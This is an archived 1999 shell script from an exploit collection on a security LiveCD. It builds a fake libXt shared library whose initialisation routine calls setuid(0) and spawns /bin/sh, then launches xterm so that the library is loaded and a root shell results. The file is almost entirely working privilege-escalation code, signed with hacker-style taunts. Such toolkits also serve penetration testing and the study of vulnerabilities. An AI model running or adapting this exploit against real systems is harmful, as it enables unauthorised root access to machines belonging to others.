home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / x-libhaq.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  421b  |  21 lines

  1. #!/bin/sh
  2.  
  3. mkdir /tmp/.werd
  4. cd /tmp/.werd
  5. cat << _EOF_ > Initialize.c
  6. _XtAppInitialize() {
  7.   setuid(0);
  8.   execl("/bin/sh", "sh", 0);
  9. }
  10. XtAppSetFallbackResources() {}
  11. _XtDisplayInitialize() {}
  12. _EOF_
  13. ar x /usr/lib/libXt.a
  14. cc -c -pic Initialize.c
  15. ld *.o
  16. mkdir lib lib/X
  17. mv a.out lib/X/libXt.so.4.1
  18. cd lib/X
  19. echo "git reddy for da fun, du0dz"
  20. xterm
  21. #                    www.hack.co.za              [1999]#